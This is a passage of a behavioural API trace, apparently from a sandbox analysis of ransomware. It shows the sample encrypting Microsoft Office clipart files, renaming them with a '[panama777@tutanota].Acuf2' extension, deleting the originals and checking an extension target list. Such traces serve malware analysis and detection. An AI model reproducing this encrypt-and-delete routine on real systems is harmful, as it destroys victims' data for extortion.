	[0272.610] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0272.610] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105280.wmf")) returned 1
	[0272.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF") returned 63
	[0272.610] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF") returned 63
	[0272.610] lstrlenW (lpString=".doc") returned 4
	[0272.610] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0272.610] lstrlenW (lpString=".docx") returned 5
	[0272.610] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0272.610] lstrlenW (lpString=".pdf") returned 4
	[0272.610] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0272.610] lstrlenW (lpString=".xls") returned 4
	[0272.610] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0272.611] lstrlenW (lpString=".xlsx") returned 5
	[0272.611] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0272.611] lstrlenW (lpString=".ppt") returned 4
	[0272.611] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0272.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF") returned 63
	[0272.611] lstrlenW (lpString=".zip") returned 4
	[0272.611] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0272.611] lstrlenW (lpString=".rar") returned 4
	[0272.611] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0272.611] lstrlenW (lpString=".bz2") returned 4
	[0272.611] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0272.611] lstrlenW (lpString=".7z") returned 3
	[0272.611] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0272.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF") returned 63
	[0272.611] lstrlenW (lpString=".dbf") returned 4
	[0272.611] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0272.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF") returned 63
	[0272.611] lstrlenW (lpString=".1cd") returned 4
	[0272.611] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0272.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105280.WMF") returned 63
	[0272.611] lstrlenW (lpString=".jpg") returned 4
	[0272.611] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0272.612] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=4796) returned 1
	[0272.612] CloseHandle (hObject=0x328) returned 1
	[0272.612] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105282.wmf")) returned 0x20
	[0272.612] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105282.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0272.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105282.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0272.612] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.612] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.612] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105282.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0272.613] GetLastError () returned 0x0
	[0272.613] ReadFile (in: hFile=0x328, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x12bc, lpOverlapped=0x0) returned 1
	[0272.614] WriteFile (in: hFile=0x28c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x12c0, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x12c0, lpOverlapped=0x0) returned 1
	[0272.615] ReadFile (in: hFile=0x328, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0272.615] WriteFile (in: hFile=0x28c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0272.615] SetEndOfFile (hFile=0x28c) returned 1
	[0272.615] CloseHandle (hObject=0x28c) returned 1
	[0272.615] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.615] SetEndOfFile (hFile=0x328) returned 1
	[0272.617] CloseHandle (hObject=0x328) returned 1
	[0272.617] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0272.618] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105282.wmf")) returned 1
	[0272.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF") returned 63
	[0272.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF") returned 63
	[0272.618] lstrlenW (lpString=".doc") returned 4
	[0272.618] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0272.618] lstrlenW (lpString=".docx") returned 5
	[0272.618] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0272.618] lstrlenW (lpString=".pdf") returned 4
	[0272.618] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0272.618] lstrlenW (lpString=".xls") returned 4
	[0272.618] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0272.618] lstrlenW (lpString=".xlsx") returned 5
	[0272.618] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0272.618] lstrlenW (lpString=".ppt") returned 4
	[0272.618] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0272.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF") returned 63
	[0272.618] lstrlenW (lpString=".zip") returned 4
	[0272.618] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0272.618] lstrlenW (lpString=".rar") returned 4
	[0272.618] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0272.618] lstrlenW (lpString=".bz2") returned 4
	[0272.618] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0272.618] lstrlenW (lpString=".7z") returned 3
	[0272.618] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0272.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF") returned 63
	[0272.619] lstrlenW (lpString=".dbf") returned 4
	[0272.619] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0272.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF") returned 63
	[0272.619] lstrlenW (lpString=".1cd") returned 4
	[0272.619] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0272.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105282.WMF") returned 63
	[0272.619] lstrlenW (lpString=".jpg") returned 4
	[0272.619] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0272.619] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=6568) returned 1
	[0272.619] CloseHandle (hObject=0x328) returned 1
	[0272.619] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105286.wmf")) returned 0x20
	[0272.619] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105286.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0272.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105286.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0272.620] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.620] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105286.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c
	[0272.622] GetLastError () returned 0x0
	[0272.622] ReadFile (in: hFile=0x328, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x19a8, lpOverlapped=0x0) returned 1
	[0272.800] WriteFile (in: hFile=0x28c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x19b0, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x19b0, lpOverlapped=0x0) returned 1
	[0272.801] ReadFile (in: hFile=0x328, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0272.801] WriteFile (in: hFile=0x28c, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0272.801] SetEndOfFile (hFile=0x28c) returned 1
	[0272.801] CloseHandle (hObject=0x28c) returned 1
	[0272.801] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.801] SetEndOfFile (hFile=0x328) returned 1
	[0272.803] CloseHandle (hObject=0x328) returned 1
	[0272.803] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0272.808] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105286.wmf")) returned 1
	[0272.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF") returned 63
	[0272.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF") returned 63
	[0272.813] lstrlenW (lpString=".doc") returned 4
	[0272.813] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0272.813] lstrlenW (lpString=".docx") returned 5
	[0272.813] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0272.813] lstrlenW (lpString=".pdf") returned 4
	[0272.813] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0272.813] lstrlenW (lpString=".xls") returned 4
	[0272.813] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0272.813] lstrlenW (lpString=".xlsx") returned 5
	[0272.813] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0272.813] lstrlenW (lpString=".ppt") returned 4
	[0272.813] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0272.813] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF") returned 63
	[0272.813] lstrlenW (lpString=".zip") returned 4
	[0272.813] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0272.813] lstrlenW (lpString=".rar") returned 4
	[0272.813] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0272.813] lstrlenW (lpString=".bz2") returned 4
	[0272.813] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0272.813] lstrlenW (lpString=".7z") returned 3
	[0272.814] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0272.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF") returned 63
	[0272.814] lstrlenW (lpString=".dbf") returned 4
	[0272.814] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0272.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF") returned 63
	[0272.814] lstrlenW (lpString=".1cd") returned 4
	[0272.814] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0272.814] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105286.WMF") returned 63
	[0272.814] lstrlenW (lpString=".jpg") returned 4
	[0272.814] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0272.814] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=4964) returned 1
	[0272.814] CloseHandle (hObject=0x378) returned 1
	[0272.815] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105378.wmf")) returned 0x20
	[0272.815] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105378.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0272.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105378.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0272.815] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.815] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.815] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105378.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0272.817] GetLastError () returned 0x0
	[0272.817] ReadFile (in: hFile=0x378, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x1364, lpOverlapped=0x0) returned 1
	[0272.827] WriteFile (in: hFile=0x218, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x1370, lpOverlapped=0x0) returned 1
	[0272.828] ReadFile (in: hFile=0x378, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0272.828] WriteFile (in: hFile=0x218, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0272.828] SetEndOfFile (hFile=0x218) returned 1
	[0272.828] CloseHandle (hObject=0x218) returned 1
	[0272.828] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.828] SetEndOfFile (hFile=0x378) returned 1
	[0272.830] CloseHandle (hObject=0x378) returned 1
	[0272.830] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0272.831] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105378.wmf")) returned 1
	[0272.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF") returned 63
	[0272.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF") returned 63
	[0272.831] lstrlenW (lpString=".doc") returned 4
	[0272.831] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0272.831] lstrlenW (lpString=".docx") returned 5
	[0272.831] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0272.831] lstrlenW (lpString=".pdf") returned 4
	[0272.831] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0272.831] lstrlenW (lpString=".xls") returned 4
	[0272.831] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0272.831] lstrlenW (lpString=".xlsx") returned 5
	[0272.831] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0272.831] lstrlenW (lpString=".ppt") returned 4
	[0272.831] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0272.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF") returned 63
	[0272.831] lstrlenW (lpString=".zip") returned 4
	[0272.831] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0272.831] lstrlenW (lpString=".rar") returned 4
	[0272.831] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0272.831] lstrlenW (lpString=".bz2") returned 4
	[0272.831] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0272.831] lstrlenW (lpString=".7z") returned 3
	[0272.831] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0272.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF") returned 63
	[0272.832] lstrlenW (lpString=".dbf") returned 4
	[0272.832] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0272.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF") returned 63
	[0272.832] lstrlenW (lpString=".1cd") returned 4
	[0272.832] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0272.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105378.WMF") returned 63
	[0272.832] lstrlenW (lpString=".jpg") returned 4
	[0272.832] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0272.832] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2e8ff1c | out: lpFileSize=0x2e8ff1c*=5880) returned 1
	[0272.832] CloseHandle (hObject=0x378) returned 1
	[0272.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105384.wmf")) returned 0x20
	[0272.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105384.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0272.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105384.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0272.833] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.833] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0272.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105384.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218
	[0272.834] GetLastError () returned 0x0
	[0272.834] ReadFile (in: hFile=0x378, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x16f8, lpOverlapped=0x0) returned 1
	[0272.840] WriteFile (in: hFile=0x218, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0x1700, lpOverlapped=0x0) returned 1
	[0272.841] ReadFile (in: hFile=0x378, lpBuffer=0x3b10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesRead=0x2e8fed4*=0x0, lpOverlapped=0x0) returned 1
	[0272.841] WriteFile (in: hFile=0x218, lpBuffer=0x3b10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b10020*, lpNumberOfBytesWritten=0x2e8fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0272.841] SetEndOfFile (hFile=0x218) returned 1
	[0273.254] CloseHandle (hObject=0x218) returned 1
	[0273.254] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8fec8 | out: lpNewFilePointer=0x0) returned 1
	[0273.254] SetEndOfFile (hFile=0x378) returned 1
	[0273.256] CloseHandle (hObject=0x378) returned 1
	[0273.256] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0273.266] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105384.wmf")) returned 1
	[0273.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF") returned 63
	[0273.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF") returned 63
	[0273.266] lstrlenW (lpString=".doc") returned 4
	[0273.266] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0273.266] lstrlenW (lpString=".docx") returned 5
	[0273.266] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0273.266] lstrlenW (lpString=".pdf") returned 4
	[0273.266] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0273.266] lstrlenW (lpString=".xls") returned 4
	[0273.266] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0273.266] lstrlenW (lpString=".xlsx") returned 5
	[0273.266] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0273.266] lstrlenW (lpString=".ppt") returned 4
	[0273.266] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0273.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF") returned 63
	[0273.266] lstrlenW (lpString=".zip") returned 4
	[0273.266] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0273.266] lstrlenW (lpString=".rar") returned 4
	[0273.267] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0273.267] lstrlenW (lpString=".bz2") returned 4
	[0273.267] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0273.267] lstrlenW (lpString=".7z") returned 3
	[0273.267] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0273.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF") returned 63
	[0273.267] lstrlenW (lpString=".dbf") returned 4
	[0273.267] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0273.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF") returned 63
	[0273.267] lstrlenW (lpString=".1cd") returned 4
	[0273.267] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0273.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105384.WMF") returned 63
	[0273.267] lstrlenW (lpString=".jpg") returned 4
	[0273.267] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
